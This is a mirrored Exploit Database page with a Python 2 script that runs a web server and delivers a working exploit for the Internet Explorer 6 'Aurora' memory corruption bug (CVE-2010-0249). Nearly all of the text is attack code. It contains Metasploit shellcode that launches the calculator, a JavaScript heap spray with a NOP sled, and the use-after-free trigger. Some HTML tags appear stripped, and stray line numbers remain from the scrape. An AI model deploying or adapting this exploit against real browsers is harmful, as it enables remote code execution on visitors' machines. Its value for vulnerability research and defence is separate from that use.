Microsoft Internet Explorer 6 – ‘Aurora’ Memory Corruption (MS10-002)

Exploit Database
120 阅读

作者： Ahmed Obied

日期： 2010-01-17
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/11167/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

# Author : Ahmed Obied (ahmed.obied@gmail.com)

# This program acts as a web server that generates an exploit to

# target a vulnerability (CVE-2010-0249) in Internet Explorer.

# The exploit was tested using Internet Explorer 6 on Windows XP SP2.

# The exploit's payload spawns the calculator.

# Usage: python ie_aurora.py [port number]

import sys

import socket

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):

def convert_to_utf16(self, payload):

enc_payload = ''

for i in range(0, len(payload), 2):

num = 0

for j in range(0, 2):

num += (ord(payload[i + j]) & 0xff) << (j * 8)

enc_payload += '%%u%04x' % num

return enc_payload

def get_payload(self):

# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub

# http://metasploit.com

payload= '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'

payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'

payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'

payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'

payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'

payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'

payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'

payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'

payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'

payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'

payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'

payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'

return self.convert_to_utf16(payload)

def get_exploit(self):

exploit = '''

<html>

<head>

var obj, event_obj;

function spray_heap()

{

var chunk_size, payload, nopsled;

chunk_size = 0x80000;

payload = unescape("<PAYLOAD>");

nopsled = unescape("<NOP>");

while (nopsled.length < chunk_size)

nopsled += nopsled;

nopsled_len = chunk_size - (payload.length + 20);

nopsled = nopsled.substring(0, nopsled_len);

heap_chunks = new Array();

for (var i = 0 ; i < 200 ; i++)

heap_chunks[i] = nopsled + payload;

}

function initialize()

{

obj = new Array();

event_obj = null;

for (var i = 0; i < 200 ; i++ )

obj[i] = document.createElement("COMMENT");

}

function ev1(evt)

{

event_obj = document.createEventObject(evt);

document.getElementById("sp1").innerHTML = "";

window.setInterval(ev2, 1);

}

function ev2()

{

var data, tmp;

data = "";

tmp = unescape("%u0a0a%u0a0a");

for (var i = 0 ; i < 4 ; i++)

data += tmp;

for (i = 0 ; i < obj.length ; i++ ) {

obj[i].data = data;

}

event_obj.srcElement;

}

function check()

{

if (navigator.userAgent.indexOf("MSIE") == -1)

return false;

return true;

}

if (check()) {

initialize();

spray_heap();

}

else

window.location = 'about:blank'

</script>

</head>

<body>

</span>

</body>

</html>

'''

exploit = exploit.replace('<PAYLOAD>', self.get_payload())

exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')

return exploit

def get_image(self):

content= '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'

content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'

content += '\x01\x00\x3b'

return content

def log_request(self, *args, **kwargs):

pass

def do_GET(self):

try:

if self.path == '/':

print '[-] Incoming connection from %s' % self.client_address[0]

self.send_response(200)

self.send_header('Content-Type', 'text/html')

self.end_headers()

print '[-] Sending exploit to %s ...' % self.client_address[0]

self.wfile.write(self.get_exploit())

print '[-] Exploit sent to %s' % self.client_address[0]

elif self.path == '/aurora.gif':

self.send_response(200)

self.send_header('Content-Type', 'image/gif')

self.end_headers()

self.wfile.write(self.get_image())

except:

print '[*] Error : an error has occured while serving the HTTP request'

print '[-] Exiting ...'

sys.exit(-1)

def main():

if len(sys.argv) != 2:

print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]

sys.exit(0)

try:

port = int(sys.argv[1])

if port < 1024 or port > 65535:

raise ValueError

try:

serv = HTTPServer(('', port), RequestHandler)

ip = socket.gethostbyname(socket.gethostname())

print '[-] Web server is running at http://%s:%d/' % (ip, port)

try:

serv.serve_forever()

except:

print '[-] Exiting ...'

except socket.error:

print '[*] Error : a socket error has occurred'

sys.exit(-1)

except ValueError:

print '[*] Error : an invalid port number was given'

sys.exit(-1)

if __name__ == '__main__':

main()